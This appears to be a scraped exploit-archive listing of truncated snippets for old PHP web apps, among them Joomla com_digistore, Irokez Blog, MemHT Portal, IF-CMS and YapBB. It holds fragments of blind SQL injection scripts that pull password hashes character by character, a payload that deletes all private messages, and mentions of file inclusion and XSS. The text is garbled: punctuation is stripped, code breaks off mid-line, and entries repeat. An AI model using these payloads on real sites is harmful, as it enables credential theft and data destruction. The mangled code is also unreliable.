Joomla! Component com_digistore - 'pid' Blind SQL Injection

1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1 $laenge = strlenfilegetcontents$url."+and+asciisubstri...

Joomla com_digistore (pid) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ====================================================== Joomla comdigistore pid Blind SQL Injection Exploit ====================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 ...

Joomla! Component com_digistore - pid Blind SQL Injection

Joomla! Component comdigistore - pid Blind SQL Injection 1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1...

irokez blog 0.7.3.2 - Cross-Site Scripting Remote File Inclusion Blind SQL Injection

irokez blog 0.7.3.2 - Cross-Site Scripting Remote File Inclusion Blind SQL Injection ================================================================================ || Irokez Blog BLIND SQL-INJECTION, INCLUDE, ACTIVE XSS...

irokez blog 0.7.3.2 - Cross-Site Scripting / Remote File Inclusion / Blind SQL Injection

================================================================================ || Irokez Blog BLIND SQL-INJECTION, INCLUDE, ACTIVE XSS ================================================================================ Application: Irokez Blog ------------ Website: http://irokez.org --------...

Irokez BLog 0.7.3.2 (XSS/RFI/BSQL) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ================================================================== Irokez BLog 0.7.3.2 XSS/RFI/BSQL Multiple Remote Vulnerabilities ==================================================================...

MemHT Portal <= 4.0.1 (pvtmsg) Delete All Private Messages Exploit

Exploit for unknown platform in category web applications ================================================================== MemHT Portal query"DELETE FROM memhtpvtmsg WHERE id=$value"; if isset$POST'deletepm' foreach $POST'deletepm' as $value $dblink-query"DELETE FROM memhtpvtmsg WHERE id=$value...

MemHT Portal 4.0.1 - Delete All Private Messages

!/usr/bin/perl MemHT Portal query"DELETE FROM memhtpvtmsg WHERE id=$value"; if isset$POST'deletepm' foreach $POST'deletepm' as $value $dblink-query"DELETE FROM memhtpvtmsg WHERE id=$value"; ? ok then foreach $POST'deletenewpm' as $value deletenewpm= $value ; so if we send a evil code like this: 1...

NovaBoard 1.0.0 File Upload / LFI / SQL Injection

=============================================================================================== Found : brainpillow Dork : "Powered by NovaBoard v1.0.0" Visit : brainpillow.cc, forum.antichat.ru, raz0r.name Mail : [email protected]...

ZeroBoard4 pl8 (07.12.17) Multiple Remote/Local Vulnerability

No description provided by source. ZeroBoard4 pl8 07.12.17 Multiple Remote/Local Vulnerability bY [email protected] thx to : Flyh4t / ZeroBoard4 VERSION pl8 07.12.17is most famous and widely used bulletin board system of Korea. It is freely available for all platforms that supports PHP and MySQL...

IF-CMS <= 2.0 (frame.php id) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== IF-CMS 4 return true; else return false; function usage echo "\nIF-CMS = 2.0 Blind SQL Injection Exploit". "\n+ Author : darkjoker". "\n+ Site : http://darkjoker.net23.net". "\n+...

IF-CMS 2.0 - id Blind SQL Injection

IF-CMS 2.0 - id Blind SQL Injection --+++=======================================================+++-- --+++====== IF-CMS 4 return true; else return false; function usage echo "\nIF-CMS ". "\n+ Ex. : php xpl.php localhost /IF-CMS root". "\n\n"; exit ; if $argc != 4 us...

IF-CMS 2.0 - 'id' Blind SQL Injection

--+++=======================================================+++-- --+++====== IF-CMS 4 return true; else return false; function usage echo "\nIF-CMS ". "\n+ Ex. : php xpl.php localhost /IF-CMS root". "\n\n"; exit ; if $argc != 4 usage ; $hostname = $argv 1; $path...

IF-CMS 2.0 Blind SQL Injection

--+++=======================================================+++-- --+++====== IF-CMS 4 return true; else return false; function usage echo "\nIF-CMS ". "\n+ Ex. : php xpl.php localhost /IF-CMS root". "\n\n"; exit ; if $argc != 4 usage ; $h...

ZeroBoard4 pl8 (07.12.17) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ========================================================= ZeroBoard4 pl8 07.12.17 Multiple Remote Vulnerabilities ========================================================= / ZeroBoard4 VERSION pl8 07.12.17is most famous and widely used...

ZeroBoard4 pl8 (07.12.17) Multiple Remote Vulnerabilities

No description provided by source. ZeroBoard4 pl8 07.12.17 Multiple Remote/Local Vulnerability bY [email protected] thx to : Flyh4t / ZeroBoard4 VERSION pl8 07.12.17is most famous and widely used bulletin board system of Korea. It is freely available for all platforms that supports PHP and MySQL...

Zeroboard4 pl8 (07.12.17) - Multiple Vulnerabilities

ZeroBoard4 pl8 07.12.17 Multiple Remote/Local Vulnerability bY [email protected] thx to : Flyh4t / ZeroBoard4 VERSION pl8 07.12.17is most famous and widely used bulletin board system of Korea. It is freely available for all platforms that supports PHP and MySQL. There are Remote File Inclusion?,...

YapBB &lt;= 1.2 (forumID) Blind SQL Injection Exploit

No description provided by source. --+++======================================================+++-- --+++====== YapBB = 1.2 Blind SQL Injection Exploit ======+++-- --+++======================================================+++-- !/usr/bin/perl use strict; use warnings; use IO::Socket; sub usage d...

YapBB <= 1.2 (forumID) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================== YapBB ". "\n? Ex. : perl $0 localhost /YapBB root abcdefghijklmnopqrstuvwxyz". "\n\n"; sub query my $user, $chr, $pos = @; my $query = "123 OR IF ASCIISUBSTRINGSELECT password FROM "...

YapBB 1.2 - forumID Blind SQL Injection

YapBB 1.2 - forumID Blind SQL Injection --+++======================================================+++-- --+++====== YapBB ". "\n? Ex. : perl $0 localhost /YapBB root abcdefghijklmnopqrstuvwxyz". "\n\n"; sub query my $user, $chr, $pos = @; my $query = "123 OR IF ASCIISUBSTRINGSELECT password FROM...